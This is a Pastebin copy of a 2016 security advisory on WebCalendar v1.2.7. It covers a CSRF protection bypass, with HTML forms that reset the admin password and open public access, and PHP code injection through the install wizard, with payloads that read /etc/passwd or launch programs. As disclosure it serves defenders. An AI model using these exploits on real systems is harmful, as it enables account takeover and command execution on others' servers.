Advertisement
Guest User

Untitled

a guest
Jul 8th, 2016
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.48 KB | None | 0 0
  1. [+] Credits: John Page aka HYP3RLINX
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:
  6. http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-CSRF-PROTECTION-BYPASS.txt
  7.  
  8. [+] ISR: ApparitionSec
  9.  
  10.  
  11.  
  12. Vendor:
  13. ==========================
  14. www.k5n.us/webcalendar.php
  15.  
  16.  
  17.  
  18. Product:
  19. ==================
  20. WebCalendar v1.2.7
  21.  
  22. WebCalendar is a PHP-based calendar application that can be configured as a
  23. single-user calendar, a multi-user calendar for groups of users, or as an
  24. event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2,
  25. Interbase, MS SQL Server, or ODBC is required.
  26.  
  27. WebCalendar can be setup in a variety of ways, such as...
  28.  
  29. A schedule management system for a single person
  30. A schedule management system for a group of people, allowing one or more
  31. assistants to manage the calendar of another user
  32. An events schedule that anyone can view, allowing visitors to submit new
  33. events
  34. A calendar server that can be viewed with iCalendar-compliant calendar
  35. applications like Mozilla Sunbird, Apple iCal or GNOME Evolution or
  36. RSS-enabled
  37. applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress.
  38.  
  39.  
  40.  
  41.  
  42. Vulnerability Type:
  43. ======================
  44. CSRF PROTECTION BYPASS
  45.  
  46.  
  47.  
  48. CVE Reference:
  49. ==============
  50. N/A
  51.  
  52.  
  53.  
  54. Vulnerability Details:
  55. =====================
  56.  
  57. WebCalendar attempts to uses the HTTP Referer to check that requests are
  58. originating from same server as we see below.
  59.  
  60. From WebCalendar "include/functions.php" file on line 6117:
  61.  
  62. ////////////////////////////////////////////////////////////
  63.  
  64. function require_valide_referring_url ()
  65. {
  66.  
  67. global $SERVER_URL;
  68.  
  69.  
  70. if ( empty( $_SERVER['HTTP_REFERER'] ) ) {
  71.  
  72. // Missing the REFERER value
  73.  
  74. //die_miserable_death ( translate ( 'Invalid referring URL' ) );
  75.  
  76. // Unfortunately, some version of MSIE do not send this info.
  77.  
  78. return true;
  79. }
  80.  
  81. if ( ! preg_match ( "@$SERVER_URL@i", $_SERVER['HTTP_REFERER'] ) ) {
  82.  
  83. // Gotcha. URL of referring page is not the same as our server.
  84.  
  85. // This can be an instance of XSRF.
  86.  
  87. // (This may also happen when more than address is used for your server.
  88.  
  89. // However, you're not supposed to do that with this version of
  90.  
  91. // WebCalendar anyhow...)
  92. die_miserable_death ( translate ( 'Invalid referring URL' ) );
  93.  
  94. }
  95.  
  96. }
  97.  
  98. /////////////////////////////////////////////////////////////////////////////////////////
  99.  
  100. However, this can be easily defeated by just not sending a referer. HTML 5
  101. includes a handy tag <meta name="referrer" content="none"> to omit the
  102. referer
  103. when making an HTTP request, currently supported in Chrome, Safari,
  104. MobileSafari and other WebKit-based browsers. Using this meta tag we send
  105. no referrer
  106. and the vulnerable application will then happily process our CSRF requests.
  107.  
  108.  
  109.  
  110. Exploit code(s):
  111. ===============
  112.  
  113. 1) CSRF Protection Bypass to change Admin password POC. Note: Name of the
  114. victim user is required for success.
  115.  
  116.  
  117. <meta name="referrer" content="none">
  118.  
  119. <form id="CSRF" action="
  120. http://localhost/WebCalendar-1.2.7/edit_user_handler.php" method="post">
  121. <input type="hidden" name="formtype" value="setpassword" />
  122. <input type="hidden" name="user" value="admin" />
  123. <input name="upassword1" id="newpass1" type="password" value="1234567" />
  124. <input name="upassword2" id="newpass2" type="password" value="1234567" />
  125. </form>
  126.  
  127.  
  128. 2) CSRF Protection Bypass modify access controls under "System Settings" /
  129. "Allow public access"
  130.  
  131. <meta name="referrer" content="none">
  132.  
  133. <form id="CSRF_ACCESS_CTRL" action="
  134. http://localhost/WebCalendar-1.2.7/admin.php" method="post"
  135. name="prefform"><br />
  136. <input type="hidden" name="currenttab" id="currenttab" value="settings" />
  137. <input type="submit" value="Save" name="" />
  138. <input type="hidden" name="admin_PUBLIC_ACCESS" value="Y" />
  139. <script>document.getElementById('CSRF_ACCESS_CTRL').submit()</script>
  140. </form>
  141.  
  142.  
  143. #######################################################
  144.  
  145. Vulnerability Type:
  146. ======================
  147. PHP Code Injection
  148.  
  149.  
  150.  
  151. CVE Reference:
  152. ==============
  153. N/A
  154.  
  155.  
  156.  
  157. Vulnerability Details:
  158. =====================
  159.  
  160. Since WebCalendars install script is not removed after installation as
  161. there is no "automatic" removal of it, low privileged users can inject
  162. arbitrary
  163. PHP code for the "Database Cache" directory value as no input validation
  164. exists for this when a user installs the application using the WebCalendar
  165. walk
  166. thru wizard.
  167.  
  168. If WebCalendars installation script is available as part of a default
  169. image, often as a convenience by some hosting providers, this can be used
  170. to gain
  171. code execution on the target system. The only item that is required is the
  172. user must have privileges to authenticate to the MySQL Database and to run
  173. the
  174. install script. So, users who have install wizard access for the
  175. WebCalendar application will now have ability to launch arbitrary system
  176. commands on the
  177. affected host.
  178.  
  179. One problem we must overcome is WebCalendar filters quotes " so we cannot
  180. use code like <?php echo "/bin/cat /etc/passwd"; ?> However, we can defeat
  181. this
  182. obstacle using the all to forgotten backtick `CMD` operator!.
  183.  
  184. e.g.
  185.  
  186. */?><?php echo `/bin/cat /etc/passwd`; ?>
  187.  
  188. This results in "settings.php" being injected like...
  189.  
  190. <?php
  191. /* updated via install/index.php on Wed, 15 Jun 2016 09:44:34 -0400
  192. install_password: e99a18c428cb38d5f260853678922e03
  193. db_type: mysql
  194. db_host: localhost
  195. db_database: intranet
  196. db_login: admin
  197. db_password: abc123
  198. db_persistent: false
  199. db_cachedir: */?><?php echo `/bin/cat /etc/passwd`; ?>
  200. readonly: false
  201. user_inc: user.php
  202. use_http_auth: false
  203. single_user: false
  204. # end settings.php */
  205. ?>
  206.  
  207.  
  208.  
  209. Exploitation steps(s):
  210. =====================
  211.  
  212. 1) Login to the WebCalendar Installation Wizard.
  213.  
  214. 2) When you get to WebCalendar Installation Wizard Step 2 of the install
  215. script.
  216. http://localhost/WebCalendar-1.2.7/WebCalendar-1.2.7/install/index.php?action=switch&page=2
  217.  
  218. 3) Click "Test Settings" button to ensure connection to the Database.
  219. 4) Enter below PHP code for the "Database Cache Directory:" input fields
  220. value to pop calculator for POC (Windows).
  221.  
  222. */?><?php exec(`calc.exe`); ?>
  223.  
  224. 5) Click "Next" button
  225. 6) Click "Next" button
  226. 7) Click "Save settings" button
  227.  
  228. BOOOOOOOM! "settings.php" gets overwritten and injected with our PHP code.
  229.  
  230. If you happen to get following error when clicking "Test Settings" button,
  231. "Failure Reason: Database Cache Directory does not exist", just click back
  232. button then forward or just "Test settings" button again to try get past
  233. the error.
  234.  
  235.  
  236. Disclosure Timeline:
  237. ===============================
  238. Vendor Notification: No replies
  239. July 4, 2016 : Public Disclosure
  240.  
  241.  
  242.  
  243.  
  244. Exploitation Technique:
  245. =======================
  246. Remote
  247.  
  248.  
  249.  
  250. Severity Level:
  251. ================
  252. 6.8 (Medium)
  253. CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
  254.  
  255.  
  256. [+] Disclaimer
  257. The information contained within this advisory is supplied "as-is" with no
  258. warranties or guarantees of fitness of use or otherwise.
  259. Permission is hereby granted for the redistribution of this advisory,
  260. provided that it is not altered except by reformatting it, and
  261. that due credit is given. Permission is explicitly given for insertion in
  262. vulnerability databases and similar, provided that due credit
  263. is given to the author. The author is not responsible for any misuse of the
  264. information contained herein and accepts no responsibility
  265. for any damage caused by the use or misuse of this information. The author
  266. prohibits any malicious use of security related information
  267. or exploits by the author or elsewhere.
  268.  
  269. HYP3RLINX
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement